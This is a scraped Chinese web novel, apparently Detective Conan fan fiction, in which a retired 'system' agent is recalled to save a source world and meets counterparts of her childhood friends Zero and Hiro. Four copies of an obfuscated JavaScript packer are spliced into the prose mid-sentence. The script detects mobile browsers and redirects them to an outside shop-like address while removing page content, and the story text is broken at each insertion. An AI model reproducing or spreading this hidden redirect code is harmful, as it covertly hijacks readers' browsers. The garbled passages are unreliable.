《退休返聘后获得了假酒版幼驯染》 1. 穿越n.0 午后的咖啡厅里弥漫着食物和咖啡的香气,丝丝缕缕的阳光透过玻璃窗照在桌椅上,看起来是一派静谧的和谐。 窗边端坐了一位有着蓬松白发的女性,她垂头啜饮着一杯咖啡,端着咖啡杯的手指白皙得近乎透明。 她垂眼看着杯沿,白色的眼睫轻轻颤抖,脆弱又美丽的脸上染上了一抹轻愁,仿佛遇到了什么难以处理的事。 实际上—— 【解释清楚,系统,什么叫做源世界毁灭,其它分支世界也会一起消失。】 黑沼四白完全不像表面上那样八风不动,而是咬牙切齿地在心底质问不靠谱的系统004。 004:【是这样的,宿主现在所处的世界,是所有同类型世界的源头。 也就是说,您原本的世界,以及之前曾拯救过的世界,都属于这个世界的各种可能性衍生出的小世界。 所以,一旦源世界崩溃,作为分支的小世界必然不会继续存在,而是会一同堙灭在时间与空间的缝隙里。】 黑沼四白:【那这个世界到底怎么了?还要我这个早已经退休的业务员来救,招呼都不打一声就突然穿越,你这是要上天啊。】 004的电子音可疑的停顿了一瞬,然后才讪讪地说道:【事实上,源世界即将面临的崩溃,之前已经出现了前兆。 比如shiro你之前拯救过的那些小世界就是受到了某种影响才会需要你去实施一系列挽救措施的。】 【只不过主系统也没想到,那种影响了小世界的类病毒因子会蔓延得这么快,源世界近期出现了许多bug一样的漏洞,更是加快了崩毁进程。】 见黑沼四白久久不回话,004的电子音愈发谄媚了起来:【不过,虽然shiro是被主系统指定返聘的,该争取的福利我都帮你争取到了哦。 因为这次任务是有一定风险存在的,主系统还额外给了礼包,并且结束后也不会再收回您的技能和持有道具,这些将完全属于您个人所有。】 【……退休返聘,真是好样的。】 黑沼四白轻轻吐出一口气,放下手里端了有一会的杯子,指甲被染成黑色的纤细指尖敲了敲桌面。 系统的话她大概理解了,礼包道具技能什么的容后再看也不迟,她现在比较好奇,为什么是她来做这个任务。 主系统决定返聘她来做任务无可厚非,可让她疑惑的是,编号排在她黑沼四白之前的业务员还有三位。 她是04号业务员,绑定的系统也是004号系统,前面还有01-03三个人存在。 【系统,01,02和03三人,是已经失败了吗?】 004:【是的,shiro,三位前辈被类病毒因子影响,均已销毁,业务员01-03三人也已清除记忆遣返原生世界。】 【所以就剩下一个独苗苗,还是个病秧子的我了?】 004像是知道她想问什么一样,迅速接话道:【……那三位是在其它小世界进行任务时不慎被因子着附,目前主系统已加载了新一代防火墙,shiro和系统不会再被影响。】 黑沼四白眯了眯眼,这样倒还说得过去,不过这里也不是说话的地方,还是先找个地方落脚再谈其它。 【然后呢,我在这个世界的身份,住所,都安排好了吗?】 004见她神色恢复如常,欢快地回答:【已经安排好了,请宿主跟随路线指引,前往居住地。】 随着系统话音落下,出现在黑沼四白眼前的是熟悉的淡绿色虚线,她起身结账,跟着旁人看不见的线条离开了这间咖啡厅。 幼驯染一手挑选的黑色长裙随着步伐摇曳,被另一位幼驯染编成一条蓬松麻花辫的的白色长发垂在身后,像猫咪的尾巴一样轻轻摆动。 黑沼四白走的毫不犹豫,丝毫没有在意身后金发服务生看过来的,探究的目光。 —— “系统,打开个人面板。” 【好的!】 [个人资料: 姓名:黑沼四白(代号:shiro) 编号:04 持有系统:004号系统 年龄:23(28) 任务进度:0%(请宿主不要消极怠工) 固有技能: 超级大脑(宿主你是一个聪明宝宝) 瞒天过海(掌握各种语言艺术的大师) 枪术精通(来自竹马们的悉心教导) 初级体术(大猩猩竹马也拯救不了你的体术) 跑路大师(竹马们绝望之下的另一努力成果) 系统技能(已解封): 时间啊……(固定存档位一格,可读档) 意识清醒(被动) 高级分析(可分析面前事物状态) 中级黑客(普普通通的电脑使用者) 中级催眠(半桶水催眠大师,但黑心眼的宿主拿来配合固有技能瞒天过海却有奇效) 持有道具(已解封): 空间道具(已选耳坠外观) 催眠辅助道具(已选铃铛手环外观) 枪械盒子(各式枪械) 冷兵器盒子(……留给需要的人用吧) 药品盒子(各类药品) 小道具盒子(窃听器定位器……等若干) 不会坏掉的套麻袋组合(适合幕后黑手的绝版道具) 超厚的百科全书(学海无涯,但拿来砸人或许不错,宿主已经试过了) 增幅墨镜(各项身体素质增加20%,玻璃人宿主欧气爆棚抽中的稀有道具) 打火机(永不熄灭的煤油打火机,外观十分符合宿主审美) 女士香烟(巧克力味的提神道具,不会危害健康,永远不会空盒) 黑卡(各小世界所得金钱汇总,宿主你是一个富婆) 白白衣柜(已获取外观——只有各种衣服啦) 待开启礼包:1(来自主系统的馈赠)] 黑沼四白看着自己惨淡的面板,一个后仰瘫在了沙发上。 早知道会被返聘,退休之前她绝对不会把那么多道具都卖给主系统,只留下这些不能出售的绝版道具和技能了。 “004,打开礼包。” [礼包已开启,恭喜宿主获得: 技能: 高级黑客(同类可合并,已获得高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986142|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级黑客) 中级催眠(同类可合并,可升级高级催眠) 道具: 无限电击笔(可以写字的漂亮钢笔,永远满电的暗算神器) 隐密笔记本(可自动记录信息,也可手动记录文字,内容不会被任何人看见) 跨世界通讯器(或许可以用来联络某些人) 类病毒因子检测器(示警道具,可自选外观)] “哇哦,主系统这次这么大方的吗?”黑沼四白蹭一下坐了起来,淡粉色的眼眸瞬间有了高光,“两个中级技能都给我升到了高级,还给了两个绝版道具,跨世界通讯器居然也这么白给我了?” 004变成一个小光球在半空中滴溜溜地转圈:【是的!主系统认为跨世界通讯器有助于维持宿主精神状态稳定,两个道具也是根据宿主个人偏好挑选的。】 【最后的检测器宿主可以自选外观,发现bug时它会示警,方便宿主对bug进行捕捉和清除。】 “不错嘛,外观就和空间道具一样吧,刚好凑成一对,颜色要蓝紫色的。” 黑沼四白轻轻摇晃了一下脑袋,坠有小型粉色水滴宝石的小沙漏耳饰跟着轻轻晃动,里面填充着的粉色细沙不过浅浅地铺了一层。 【好的!】 “一会出门踩踩地盘,顺便了解一下这个世界的现状,既然是源世界,肯定与之前的小世界都不一样,还是要多了解才好。” 黑沼四白从沙发上起身,光着脚走到客厅的落地窗前,目之所及的夜景与从前日日得见的景象一般无二。 这不是她的世界,只是一个陌生的,充满未知的异世界而已。 她要做的,就是把这个世界从崩溃的边缘拉回来,然后平安的回到原生世界,与零和光一起,继续度过和平的每一天。 她黑沼四白,于源世界而言,不过是个过客罢了。 黑沼四白盯着脚下的万家灯火看了一会,毫不留恋地转身走向了浴室。 “004,帮我关闭窗帘,确认落锁。” 【好的,shiro,晚餐需要叫外送吗?】 “不用,空间里还有黄瓜味的营养液,一会也可以顺便出去觅个食。” 004:不得了,我的狼灭宿主居然会出门觅食,而不是靠着营养液维持生命体征了。 —— 金发青年俊俏的脸蛋上满是阴翳,一双紫灰色的眼里还带着未消散的戾气,他关上车窗,靠在驾驶座上拨通了幼驯染的电话。 “是我,刚去做了一个潜入任务,才看到你发的信息,shiro她到现在还没有消息吗?” “嗯,上午告诉我说要出门买限定奶茶,之后就再也没有消息了。”听筒里传出的清润男声带着丝丝缕缕的阴冷,“不排除是‘那个东西’搞的鬼。” “如果是那样,shiro应该会联络我们,放心吧hiro,她不会丢下我们的。” “我知道,zero也别太焦虑了,这次的情况和之前那一次不一样。” “嗯,毕竟,这次的shiro还活着。” “是啊……” 【叮,您有新的来电待接听,来电人——】 2. 并非偶遇 黑沼四白拢了拢身上过于宽松的外套,慢悠悠地走在夜晚的街道上。 夏日的夜风算不上凉爽,但对她来说还是有些偏冷的。 那次事件之后,她也只是普通的活了过来而已,这副玻璃人一样的体质并没有太大的改变。 【我觉得我该去买辆车,至少不应该是用走的。】黑沼四白面无表情地对系统说道。 偏偏她还讨厌打车,以及其它任何形式的公共交通,导致现在只能徒步遛弯。 这么一看,谁能有她命苦啊。 004抹了一把不存在的冷汗:【可是,shiro你也完全不会开车的呀。】 【那就再找个司机,或者你来给我想办法。】黑沼四白持续面无表情,恹恹地垂着眼,【你要知道,自退休以来,我再没有自己走过这么多路的。】 出院之后,零和光两个人恨不得让她每天都脚不沾地。 除了必要的锻炼之外,在家里全靠那两人搬运,出门也是其中一个开车接送。 黑沼四白已经许久没吃过这样的苦头了,她现在甚至感觉有一点点委屈。 委屈到她都有点想摆烂了,踩什么地盘,回公寓睡觉不是更好。 【源世界很有趣的,我们再看看好不好呀。】004突然拔高了一点音量,【啊,地图上显示降谷零和诸伏景光二位就在附近,shiro要不要去瞧一眼呢?】 黑沼四白勉强提起了一点兴致:【那就带路,先去瞧瞧那两人现在在做什么也不是不行。】 反正目前也不知道具体该做什么。 踩地盘顺路再看看那两个人在源世界是什么身份也好,别到时候判断失误又惹出一大堆不必要的事端。 想起之前见过的各种身份的那两位幼驯染,黑沼四白整个人都有点不太好。 不管是什么身份,那两个都是如出一辙的难搞,几次三番让她的任务难度翻倍。 以至于她回归正常生活后面对他们两个,相处中不经意间就会流露出些许排斥的情绪。 导致家里的两只成年大猫一度露出了险些心碎致死一般的表情,当时的场面至今还让黑沼四白心有余悸。 想到这里,黑沼四白突然想起还有一件事没有确认:【004,现在存档位上的时间点是?】 退休后,好不容易习惯了没有系统和技能的日子,现在又要重新适应它们一次。 麻烦。 004:【是shiro你刚刚降临这个世界的时候哦,需要更改为当前时间吗?】 【不用了,先就这样吧,万一出点什么意外还能一键回档到最开始。】 黑沼四白一直保持匀速的脚步微微一顿,不着痕迹地扫了一眼侧后方,【对了,分析技能设置成半自动模式,笔记本开启自动记录。】 高级分析技能哪里都很棒,只是全部开启的话,眼前会很吵,吵得她头痛。 半自动模式不会把视野内每样物品的当前状态都分析出来列在眼前,只有重要物品会显示标注。 一眼看过去就可以知道,哪里是需要重点关注的记忆点。 现在又有了笔记本,黑沼四白甚至不需要全都用脑子去记这些零散的信息,自动记录会帮她解决这一项,并在必要时做出提醒。 感觉好像搞出了很不得了的联动效果。 【好哦。】 004不管看过多少次,都习惯不了宿主把自己的技能和道具随机组合,就会轻松打出王炸的这种让它叹为观止的操作。 于是它索性直接开摆,非常熟练的当起了全能小助手,并开启了陪聊业务。 被大佬带飞. JPG —— 黑沼四白并没有立刻跟着路线指引去找降谷零和诸伏景光,她漫步在夜晚的城市街道上,目光散漫地掠过四周的景色。 就在她第三次路过同一家便利店门口的时候,一道声音忽然开口叫住了她。 “那个,这位女士,请问您是遇到什么困难了吗?” 黑沼四白闻声望去,穿着便利店制服的年轻女孩正站在店门口,面带关切地看着她。 她微微怔了一下,而后轻蹙眉梢,略带苦恼地对热心的女孩笑了笑:“啊,不好意思,我可能稍微有一点迷路,是打扰到您了吗?” 店员看清了她的长相后瞬间红了脸,慌张地连连摆手:“不不,只是见您好像遇到麻烦了的样子,想问一下您是否需要帮助。” “真是的,我好像又给别人添了麻烦,让您担心了真是抱歉。” 披散着一头罕见白发的美丽女士轻轻抬起眼睛看过来,从过长的袖口中伸出左手,将一缕滑落的发丝重新挽回了耳后。 啊,女孩走神一般地想道,是浅粉色的眼睛呢,好少见的颜色。 好漂亮…… 铃—— 不知何处传来的铃铛声,好像很近,又好像很远。 自称迷路了的女士那张有些苍白的、略带病气的脸上,似乎是泛起了一丝因羞涩而起的晕红。 她柔声说道: “事实上,我确实需要一点帮助。” 店员的目光不知为何,完全无法从那双宛如名贵粉钻一般的眼眸上移开,她定定地站在那里,看着面前的美人。 只见那人形状优美却缺少血色的薄唇微挑,轻描淡写的说出了她的姓名。 “筱原理子小姐。” · “嘛,大概只能了解到这个地步了。” 黑沼四白叼着一支细长的女士香烟,靠在便利店休息室的桌边,浓郁的巧克力味蔓延在身侧,让她稍微提起了一点干劲。 身前的椅子上坐着穿着店员服饰的年轻女孩,她仰靠在椅背上,空洞无神的眼睛直直望着天花板。 “谢谢筱原小姐的帮助,现在已经可以睡了哦,辛苦你了。” 黑沼四白取下香烟捏在指尖,笑眯眯地对她说道,声音像在哄一个不知事的幼童睡去一般轻柔。 铃—— 店员听话地闭上了双眼,呼吸也渐渐均匀了起来,显然已经进入了梦乡。 【今天还真是幸运,能遇到这个习惯发善心的孩子,得到了不少信息呢。】 黑沼四白抬手把燃烧过半的香烟收进了空间道具,她现在不是很需要提神了。 一手放在外套口袋里,把玩着纽扣模样的屏蔽器,一手缩在明显长出一截的袖子里,孩子气地轻甩了两下。 她没有再把注意力放在已经睡着的女孩身上一点,轻飘飘地转身,离开了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986143|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间狭小的休息室。 004:【话说shiro居然还记得她吗?系统我都是找了过往记录才发现她是组织的二代成员哎!虽然现在只是个没有代号的小人物。】 【所以说今天很幸运嘛,之前走近这边的时候发现身后有视线看过来,又确认了一次才发现居然是这孩子。】 黑沼四白呼吸着夏夜不算清爽的空气,抬头看了一眼天上高悬的明月。 不然作为一个从未迷过路的人,她为什么会路过同一家店三次呢? 真是帮了大忙了呀,小理子。 【???】 004表示有点懵,它一直在旁边听着啊,宿主她到底了解到了什么?它怎么不知道?! 系统还是一如既往地呆,黑沼四白并没有为它解释的意思,只是意味不明地轻笑了一声,向着公寓的方向走去。 【哎?不去见降谷零和诸伏景光了吗?就这样直接回去啦?】 【今晚不想去偶遇啦,信息也了解到不少,现在还是回去睡觉比较合适。】 东京的夜晚对于独身的她来说还是稍微有一些危险性的,黑沼四白此刻特别想要拥有一个打手,【而且我还想打个跨世界的通讯来着。】 【?】 · 三分钟后—— “啊!我怎么在这里睡着了,真是的,明明还在值夜班啊!” 店员小姐匆匆走出休息室,环视一圈店内,又检查了监控,没有发现任何异常才松了一口气。 她用力地拍了拍脸颊:“幸好没有发生什么事,总这样犯困可不行,换班回去后还是好好休息一下吧。” —— “嗯?” 正准备打开车门的金发青年的视线不经意间扫过某处,像是看到什么在意的东西一样停住了动作。 站在他身后的另一个人察觉到他的停顿,抬起头,露出藏在兜帽下的脸,轻声问道:“怎么了?波本,有什么问题吗?” 波本看着那个披散着白发,散步一样独身走在对面街道上的女人,若有所思地眯了眯眼。 “不,只是看到了一个有些眼熟的人,不用在意,苏格兰。” 苏格兰顺着他的目光看去,只看到一个穿着黑色宽大外套,披散着白色长发的背影。 “是组织的人?” “不确定,今天见过一面而已,总感觉有些在意。” 那种微妙的不协调感,让他无法把那个女人只当做一个普通的过路人。 之后再稍微去查一查吧,没什么问题固然好,万一有什么,还是需要提前防备一下比较妥当。 波本可从来不相信什么偶遇,白天偶遇到他临时打工的店里,晚上又精准遇到刚做完任务的他和苏格兰? 下次还想偶遇到哪里去?任务现场吗? 身边的苏格兰出声打断了他的思绪:“波本,那女孩看过来了,收收你的眼神。” “?”什么东西看过来了? 波本一瞬间回过神,只见他刚刚还在心里嘀咕的女人,已经从街道对面朝着这边走过来了。 苏格兰:……到底是什么样的在意,让你一直盯着人家看啊,zero。 现在好了,人家直接朝着他们俩走过来了。 3. 联络 波本全身戒备地看着快要走到眼前的女人,她走过来是要做什么? 揭露她也是组织的一员的身份吗? 还是有其他目的? 一个正常的年轻女人,是不会在深夜里独自走到两个看起来就不好惹的男人身边的,这人果然有问题。 波本这样想着,又提高了一些警惕,眯起眼睛不动声色地扫视了一遍四周。 见幼驯染难得像只炸了毛的猫儿一样警醒,苏格兰也有些好奇了。 但他没有出声,只是安静地站在一旁,准备看看接下来事态会发展成什么样。 然而。 她就像根本看不到两个大活人站在那里一样,直直地略过了他们,走向了他们身后那栋公寓楼的大门。 没有一丝停顿的,毫不在意的。 普通的走了过去。 “……” “安室,你还好吗?”对方好像只是单纯的回家而已,完全是在对着空气斗智斗勇呢。 “我很好!”金发青年咬牙切齿地上了车。 苏格兰内心轻叹,zero这是最近神经太过紧绷了吗,果然和莱伊住在一起不是很有利于他的精神状态。 要不还是搬出去吧。 开车回安全屋的路上,他也是这么对波本说的。 “不行,虽然莱伊很讨厌,但和莱伊住在一起不止可以获得情报,三人搭档的话住在一处也是理所当然。”波本反驳,振振有词道,“要是搬出去了,我们两个也不能继续住在一起了,倒不如现在这样方便。” “虽然莱伊很讨厌。” 啊,他把一句话说了两遍,看来真的很讨厌莱伊了,苏格兰无奈地捏了捏眉心。 又过了一会,波本闷声闷气地补了一句:“还有那个女人,我总觉得不会是普通人,回去之后我会再查查看的。” 这大概也算是职业病的一种了。 “但还是要好好休息之后再说吧?” 苏格兰弯起一双猫眼,笑眯眯地说道。 是准备把睡眠给直接进化掉了吗? “……哦,好。”波本不吭声了,安静地开车。 · 【shiro,刚才明明看到那两个人了吧?为什么故意不理会他们呢?】 黑沼四白换下外出的衣服,走出衣帽间前往浴室,顺便淡定地回答系统:【嗯,看到了,不理是因为没有必要,他们现在的状态太过警惕了,接触只会适得其反。】 【而且,那两人,果然,是警察吧?】 004:【……答对了。】 根据规定,它不能主动透露源世界和各个小世界的人物信息。 没想到宿主依旧和从前一样,一个照面就给看出来了。 【身为警察,身上却带着危险物品,加上那两个代号,是卧底呢。】 黑沼四白简单冲洗了一下身体,把自己泡进了温暖的浴缸里,一边对着系统分析一边随手捏着水面上的泡泡玩。 【是的。】 004看着眼前满屏的马赛克,感觉自己像一个语音助手,和只会高喊666的挂件。 黑沼四白饶有兴致地把泡泡给捏成了猫咪脑袋的模样,用手托着它晃来晃去,泡泡猫咪duangduang的样子憨态可掬。 她再接再厉:【结合理子所说的部分信息,我可以认为,这个世界的一部分人,在阵营上是与我原生世界的同位体完全相反的吗?】 004已经放弃追寻宿主的脑回路了,它在系统空间里躺得很平整,只把自己当做一个无情的确认机器人。 【是的。】 【涉及阵营反转的这些人,就是这个世界的主要人物了?唔,类似漫画的主角和反派那样?只是两个世界互为倒转而已?】 【……没错。】 有趣,之前去过的其它小世界倒是没有这样鲜明的阵营对比,那些更像是仅仅单纯的衍生出了不同的世界观…… 事情开始变得有意思起来了。 黑沼四白随手拍扁了手中不再丰满的猫猫头,不经意般再次发问: 【那么,在优先级和排列次序上,我的世界,是仅次于源世界的那一个吗?】 【是的。】004习惯性地直接回复道,然后发出了如同少女一般的尖叫,【哎?!怎么就分析到这里了?shiro?!】 【源世界是源头,而其它小世界是根据与源世界的‘剧情’相关度进行排名,我的原生世界除去阵营反转了之外,基础故事线则是与源世界大差不差,所以优先级较高。】 【……】系统安静如鸡。 黑沼四白放松身体,整个人仰躺在水底,任由泡泡和温水将自己包裹。 看来是猜对了,源世界和小世界之间是有次序排名划分的。 得到了大致想知道的情报,黑沼四白再次无视了系统,不再理会它。 她淡定地从水中起身,自顾自地继续完成后续的洗澡和护肤步骤。 夜深了,还是早些到床上去吧。 然后睡前给零和光打个通讯,有些事情还是要让他们知道的。 她认真地在发梢上涂抹护发精油,看着镜中的自己,回想起当初系统脱离后,那两人无比敏锐的各种询问。 作为被绑定人,身为业务员的宿主在任务期间不被允许透露系统相关的任何事,但系统脱离后,这条约束便不再作数了。 所以现在的零和光大概可以猜到,她这次突然消失可能与系统有关。 并且这一次主系统直接给了她跨世界通讯器,还是原身穿越。 其潜在含义里,自然包括了曾经的禁言约束不再生效这一项。 而这也意味着,主系统或许认为,她的原生世界和两个幼驯染,迟早会卷入这场风波里。 也是在隐晦地向她表示,可以将实情告知给她信任的人。 那……会是以参与进任务的形式吗? 还是其它…… 黑沼四白心中不断思量着,动作上却毫不含糊地迅速换上睡裙,爬到柔软的床上,钻进了被子里。 【系统,关闭所有房间的灯光和窗帘,确认落锁。】 【好的!所有门窗已落锁,窗帘已关闭,关闭灯光倒计时三秒,shiro要注意一下眼睛哦。】 火速和主系统沟通了一下,得知它和宿主都没有违规行为的系统已经恢复了正常。 它欢快地捡起了全能小助手的身份,还是这个比较适合它TUT。 随着灯光熄灭,只留床头的一盏壁灯,散发着柔和的光芒。 黑沼四白也停住了不断发散思维的大脑,她靠坐在床头,抱着枕边的大猫咪玩偶拿起了通讯器。 不管怎样,还是要先信息互通,免得那两人情急之下选择乱来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986144|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话说这个通讯器居然还是视频通话,主系统也是难得大方了一次。 那边是用同样的通讯器吗?还是在手机上植入相关功能呢? —— 【叮!您有新的来电待接听,来电人:shiro。】 正在通话的两个人同时顿住,不约而同地选择挂断了电话,点击了手机上方突然冒出的虚拟屏幕上的确认接听按键。 “夜安,零,光,想我了吗?” 屏幕上分出了三个区域,在中间那一格里摆手的,赫然是失踪近一整天的黑沼四白。 她笑眯眯的,整个人陷在床铺里,另一只手还抱着一只猫咪玩偶捏来揉去。 降谷零没有急着说话,而是仔仔细细地把她看了一遍,发现一切如常后轻轻舒了口气,没事就好。 他终于稍稍放松了些,靠在驾驶座上,笑着看诸伏景光在另一边念叨着叫她把被子盖到肩膀上,免得着凉云云。 黑沼四白手忙脚乱地把玩偶往下塞了塞,又听话地把被子拽上来一点,直到盖住了肩膀为止。 她又不敢反驳家里的大家长,只能小声嘀嘀咕咕:“我知道啦,小光不要再念啦。” 诸伏景光应该是在家里,他坐在沙发上,双腿交叠,听话的不再出声。 只是挑起一边的眉角,笑着看她,一双上挑的蓝色猫眼微微弯起。 “唔。” 黑沼四白从小就怵他这副模样,把自己裹成了一只大团子,只乖巧地看着屏幕上的两人眨眼。 降谷零这时才出声问道:“联络我们没关系吗?会不会对你有妨碍?” “没关系,这是被允许的。” 黑沼四白纤细的手指捏着一缕发丝绕来绕去,粉色眼眸里泛着让人心里发软的柔光,“话说,你们两个完全不惊讶的样子真的让人很没有成就感哎。” 是在撒娇呢,这孩子。 降谷零和诸伏景光轻捻了两下发痒的指尖,看着被他们娇养了十数年,白白嫩嫩一团的女孩子笑了起来。 可惜,只是视频通讯,碰不到人。 她软乎乎地对着他们笑,絮絮叨叨地说着话:“今后也可以随时联络哦,我可能暂时回不去啦,这次是收到了返聘邀请来着。” “而且这次结束后,之前得到的好些东西就都归我啦,可是赚到了呢。” “还有哦……” “会有危险吗?我们可还能帮得上忙?”诸伏景光听她说了一会,等她伸手去拿床头柜上的水杯时,适时地开口问道。 “不然也不会允许你联络我们的吧?” “嘿嘿。”黑沼四白没有明确回答,只是看着他们笑,“大概?” 于是降谷零和诸伏景光都明白了。 他们不知道具体哪些是可以问的,为了防止不小心伤害到她,只能隐晦地从她的话里找各种情报。 而这样的交流方式,对于从小一块长大的他们三人来说,恰恰是最熟悉的。 一系列思虑转瞬即逝。 对面突然离开家长,直到这时才找回一些安全感的女孩子还在汇报着这一天的经历。 “对了,这边的零和光也很有趣哦。” ? 好像突然听到了让人感到不太愉快的名字。 货真价实的波本和苏格兰看向像只快乐的小鸟一样,还在继续讲述的黑沼四白,危险地眯起了眼睛。 4. 怪异都市(一) 等到黑沼四白再次恢复意识的时候,已经是第二天的下午了。 她居然睡了近十三个小时。 耍赖似的在床上翻滚了几圈,黑沼四白因为熬得太晚又睡了太久,全身的骨头都懒洋洋的,完全不想起身。 昨晚通讯的后半程已经彻底失控了,完全有被挑衅到的两只家养猫咪双双炸毛,黑沼四白光是哄人就用尽了全部力气。 不知道许出了多少好处,又答应了好些平常不会同意的条件,才叫那两人暂时偃旗息鼓。 最后还是诸伏景光担心她继续熬夜第二天会难受,才堪堪抬手放过了她。 而降谷零…… 啊,降谷零险些清空了理智值,直到挂断通讯之前脸色都还黑的可怕。 黑沼四白牢牢的记住了这个教训,下次绝对不会再在他们面前提起这边的同位体了。 双人份的阴阳怪气,实在让她有点遭不住。 摸索着拿起枕头下的通讯器,给幼驯染们发了一条她已经起床的消息。 黑沼四白深吸一口气,一鼓作气地从床上坐了起来。 不起不行了,已经快要饿扁了。 神情恍惚地穿上睡衣,梦游一样晃晃悠悠地去洗漱,换衣服,又叼了一袋营养液垫了垫肚子。 黑沼四白,半血复活。 【早安?shiro?】 004直到这会才敢怂唧唧的出声问候。 【不早啦,眼看着天又要黑了。】黑沼四白恹恹地半垂着眼帘,【我的作息,完全乱掉了。】 都这个时间了,难道今天还是要出去夜游吗? 算了,还是先出去吃点东西吧,这次可是她自己的身体,还是吃些正经的食物比较好。 · 造孽。 黑沼四白放空表情,机械地吃了一口味道差强人意的意面。 她端起一边的柠檬水抿了一口,时不时扫过这边的视线让她想叹气。 还讲不讲点道理了,咖啡厅难道是什么固定的降谷零刷新点吗? 短短两天遇到了三次,东京难道是什么很小的地方吗? 简直像是被什么鬼怪缠上了一样。 ‘咔哒。’ 半掩在右侧发丝下的沙漏耳坠发出了一声倒转的轻响,耳畔细沙流动的声音格外清晰。 黑沼四白轻挑眉梢,这是…… 心念一动,半透明的系统面板出现在眼前,左上角的地图标志正不断闪烁,仿佛在提示着什么。 【shiro,附近有类病毒因子的波动反应,我们快去看看吧!】004也在这时出声提醒。 终于来了,黑沼四白在任务和不好吃的意面之间果断做出了选择。 结账,走人,再次无视身后看过来的视线。 她暂时不想看到那张漂亮脸蛋。 · “安室君,安室君?” 金发青年收回目光,整理好表情转头对呼唤他的同事笑道:“怎么了,有什么事吗?前辈。” “是认识的人吗?那个女孩,你已经看了她好几次了。”前辈露出揶揄的表情,“难道说是你喜欢的人?” “只是见过两面而已,算不上认识。”安室扯出一个有些腼腆的笑,“只是有些在意而已,前辈就不要取笑我了。” 前辈意味深长地哦了一声,刚要继续说些什么。 安室却突然对他说道:“抱歉,前辈,我突然想起有些急事,麻烦你帮我请个假。” “哎?” 前辈还没反应过来他说了什么,眼前已经没有了他的身影。 跑的可真快啊。 他鬼使神差地转头,看向刚刚那个女孩坐的位置。 果然,她已经离开了。 “干脆直接追着人走掉了啊,这就是安室说的,只是有些在意而已吗?!” 受教了。 —— 【这就是bug?】 黑沼四白站在黑洞洞的小巷深处,看向半空中闪烁不停的光带。 无数光点在眼前汇集成不规则的长条,看上去是平面,实际上盯着看一会,就能发现它其实还具有一定的深度。 并且,明显能感觉到,有什么在光带的深处蠢蠢欲动。 004:【是的,类病毒因子能够侵入源世界,其实主要是因为携带因子的小世界被操控着与源世界发生碰撞,产生了会影响源世界并致促进崩溃的bug。】 它继续说明:【这个光带一样的东西,只是二者之间连接点的具体呈现形式,原本应该是无形的,是检测器让它显现了出来。】 黑沼四白面无表情地逗它:【要怎么解决掉它?对着它清空弹夹有用吗?】 【并没有用啦!shiro你又乱讲冷笑话!】004小声抱怨,努力严肃地说道,【碰一下那个光带就好,之后shiro会进入相接的小世界,在其中找出类病毒因子寄居的宿体并将其摧毁。】 系统补充道:【宿体可能是人,也可能是物件,数量不定。并且在进入小世界期间,源世界这边的时间将会暂时停滞,直到宿主回归为止。】 黑沼四白若有所思:【停滞的原因呢?】 004:【相关信息还未解封,清除第一个接点后,主系统才会解锁相关情报。】 【了解了。】 黑沼四白没有急着进入小世界,而是先从空间里拿出了通讯器,告知了自家的两个幼驯染一声。 毕竟,心急可是大忌。 得到回复后,黑沼四白伸出手,指尖轻轻触碰光带的边缘。 白光一闪,纤细的身影瞬息之间便消失在了原地。 紧随而来的金发青年即将进入小巷的前一刻,无形的波动蔓延。 时间停滞,万物无声。 · “砰!” “唔!” “呜哇!天降shiro,大幸运!” 从半空降落,被好心人接住了的黑沼四白还没从天旋地转的感觉里回过神。 就听到了熟悉的不得了的声音带着戏谑,从头顶的位置传来。 顾不上质问系统为什么她会从半空中掉下来,黑沼四白猛地睁开眼看过去。 在夜色中依旧灿烂的金发映入眼帘。 “零!” 被他横抱在怀里的黑沼四白双眼一亮,毫不犹豫地伸手抱上好心人的脖子,“你怎么会来?身体没问题吗?小光呢?” 降谷零先是偏头蹭了蹭她的脸颊,随后把脸埋在她颈窝闷笑:“问题太多了,不知道该回答哪一个了哦。” “而且,shiro现在最应该说的是什么呢?”他凑在她耳边,声音低沉,带了些诱哄意味地轻声问,“嗯?” 黑沼四白被他垂落的碎发蹭得有些痒,边躲边咯咯笑着说道:“零,好想你哦。” 乖的不得了。 得到了满意答案的金发青年不再闹她。 他单手抱着黑沼四白,用另一只手帮她整理了一下微乱的发丝,随后带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 